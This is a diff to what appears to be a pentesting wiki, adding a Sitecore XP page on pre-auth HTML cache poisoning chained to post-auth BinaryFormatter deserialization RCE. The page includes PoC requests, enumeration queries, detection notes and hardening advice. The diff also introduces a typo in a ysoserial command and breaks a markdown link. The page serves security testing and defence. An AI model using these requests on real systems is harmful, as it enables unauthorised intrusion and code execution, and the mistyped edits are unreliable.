diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index dab618a10..793c88a81 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -447,6 +447,7 @@
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
+ - [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@@ -929,4 +930,3 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
-
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 5cc3a738c..ce35c360b 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -104,6 +104,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
+- [**Sitecore**](sitecore/index.html)
_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks (and let me know!).
@@ -179,7 +180,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
-- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors
+- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
@@ -215,7 +216,7 @@ Information about SSL/TLS vulnerabilities:
Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
@@ -310,7 +311,7 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
+ - **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
@@ -427,5 +428,3 @@ Entry_12:
```
{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md
new file mode 100644
index 000000000..e6fb13558
--- /dev/null
+++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md
@@ -0,0 +1,222 @@
+# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+This page summarises a practical attack chain against Sitecore XP 10.4.1 that pivots from a pre‑auth XAML handler to HTML cache poisoning and, via an authenticated UI flow, to RCE through BinaryFormatter deserialization. The techniques generalise to similar Sitecore versions/components and provide concrete primitives to test, detect, and harden.
+
+- Affected product tested: Sitecore XP 10.4.1 rev. 011628
+- Fixed in: KB1003667, KB1003734 (June/July 2025)
+
+See also:
+
+{{#ref}}
+../../../pentesting-web/cache-deception/README.md
+{{#endref}}
+
+{{#ref}}
+../../../pentesting-web/deserialization/README.md
+{{#endref}}
+
+## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
+
+Entrypoint is the pre‑auth XAML handler registered in web.config:
+
+```xml
+
+```
+
+Accessible via:
+
+```
+GET /-/xaml/Sitecore.Shell.Xaml.WebControl
+```
+
+The control tree includes AjaxScriptManager which, on event requests, reads attacker‑controlled fields and reflectively invokes methods on targeted controls:
+
+```csharp
+// AjaxScriptManager.OnPreRender
+string clientId = page.Request.Form["__SOURCE"]; // target control
+string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
+...
+Dispatch(clientId, text);
+
+// eventually → DispatchMethod(control, parameters)
+MethodInfo m = ReflectionUtil.GetMethodFiltered(this, e.Method, e.Parameters, true);
+if (m != null) m.Invoke(this, e.Parameters);
+
+// Alternate branch for XML-based controls
+if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
+```
+
+Key observation: the XAML page includes an XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl derives from Sitecore.Web.UI.WebControl (a Sitecore class), which passes the ReflectionUtil.Filter allow‑list (Sitecore.*), unlocking methods on Sitecore WebControl.
+
+Magic method for poisoning:
+
+```csharp
+// Sitecore.Web.UI.WebControl
+protected virtual void AddToCache(string cacheKey, string html) {
+ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
+ if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
+}
+```
+
+Because we can target xmlcontrol:GlobalHeader and call Sitecore.Web.UI.WebControl methods by name, we get a pre‑auth arbitrary HtmlCache write primitive.
+
+### PoC request (CVE-2025-53693)
+
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
+Host: target
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+
+Notes:
+- __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML).
+- __PARAMETERS format is Method("arg1","arg2").
+
+## What to poison: Cache key construction
+
+Typical HtmlCache key construction used by Sitecore controls:
+
+```csharp
+public virtual string GetCacheKey(){
+ SiteContext site = Sitecore.Context.Site;
+ if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
+ string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
+ if (key.Length > 0){
+ string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
+ if (this.VaryByData) k += ResolveDataKeyPart();
+ if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
+ if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
+ if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
+ if (this.VaryByParm) k += "_#parm:" + this.Parameters;
+ if (this.VaryByQueryString && site?.Request != null)
+ k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
+ if (this.ClearOnIndexUpdate) k += "_#index";
+ return k;
+ }
+ }
+ return string.Empty;
+}
+```
+
+Example targeted poisoning for a known sublayout:
+
+```
+__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","…attacker HTML…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+
+## Enumerating cacheable items and “vary by” dimensions
+
+If the ItemService is (mis)exposed anonymously, you can enumerate cacheable components to derive exact keys.
+
+Quick probe:
+
+```
+GET /sitecore/api/ssc/item
+// 404 Sitecore error body → exposed (anonymous)
+// 403 → blocked/auth required
+```
+
+List cacheable items and flags:
+
+```
+GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
+```
+
+Look for fields like Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Device names can be enumerated via:
+
+```
+GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
+```
+
+### Side‑channel enumeration under restricted identities (CVE-2025-53694)
+
+Even when ItemService impersonates a limited account (e.g., ServicesAPI) and returns an empty Results array, TotalCount may still reflect pre‑ACL Solr hits. You can brute‑force item groups/ids with wildcards and watch TotalCount converge to map internal content and devices:
+
+```
+GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
+→ "TotalCount": 3
+GET /...term=%2B_templatename:Device;%2B_group:aa*
+→ "TotalCount": 2
+GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
+→ narrow to a specific item
+```
+
+## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
+
+Sink:
+
+```csharp
+// Sitecore.Convert
+byte[] b = Convert.FromBase64String(data);
+return new BinaryFormatter().Deserialize(new MemoryStream(b));
+```
+
+Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:
+
+```csharp
+HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
+string text2 = inner?.GetAttributeValue("value", "");
+if (text2.Length > 0)
+ htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
+```
+
+Trigger (authenticated, Content Editor rights). The FixHtml dialog calls convertToRuntimeHtml. End‑to‑end without UI clicks:
+
+```
+// 1) Start Content Editor
+GET /sitecore/shell/Applications/Content%20Editor.aspx
+
+// 2) Load malicious HTML into EditHtml session (XAML event)
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+
+
+
+
+
+// 3) Server returns a session handle (hdl) for FixHtml
+{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
+
+// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+
+Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
+
+
+{{#ref}}
+../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+{{#endref}}
+
+## Complete chain
+
+1) Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
+2) Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
+3) The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
+
+## Detection
+
+- Pre‑auth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`.
+- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`.
+- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields.
+
+## Hardening
+
+- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit `/-/xaml/`.
+- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows.
+- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`‑based side channels.
+- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
+
+## References
+
+- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
+- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
+- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 8c0651a0c..24b149b9c 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -214,6 +214,25 @@ Defenses:
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
+### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
+
+A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
+
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("key","…payload…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+
+This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.
+
+For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}
+
## Vulnerable Examples
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
@@ -271,7 +290,7 @@ Another very clear example can be found in this write-up: [https://hackerone.com
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
-Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file).
+Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
@@ -289,8 +308,7 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
index bd275ac02..bb86dab23 100644
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@@ -143,7 +143,7 @@ namespace DeserializationTests
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
```java
-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
+yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
@@ -236,12 +236,42 @@ The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
* Where possible migrate to **`System.Text.Json`** or **`DataContractJsonSerializer`** with whitelist-based converters.
* Block dangerous WPF assemblies (`PresentationFramework`, `System.Workflow.*`) from being loaded in web processes that should never need them.
+## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
+
+A practical .NET sink reachable in authenticated Sitecore XP Content Editor flows:
+
+- Sink API: `Sitecore.Convert.Base64ToObject(string)` wraps `new BinaryFormatter().Deserialize(...)`.
+- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, which searches for a sibling element with `id="{iframeId}_inner"` and reads a `value` attribute that is treated as base64‐encoded serialized data. The result is cast to string and inserted into the HTML.
+
+Minimal end‑to‑end (authenticated):
+
+```
+// Load HTML into EditHtml session
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+
+
+
+
+
+// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+
+- Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads.
+
+For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}
+
## References
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-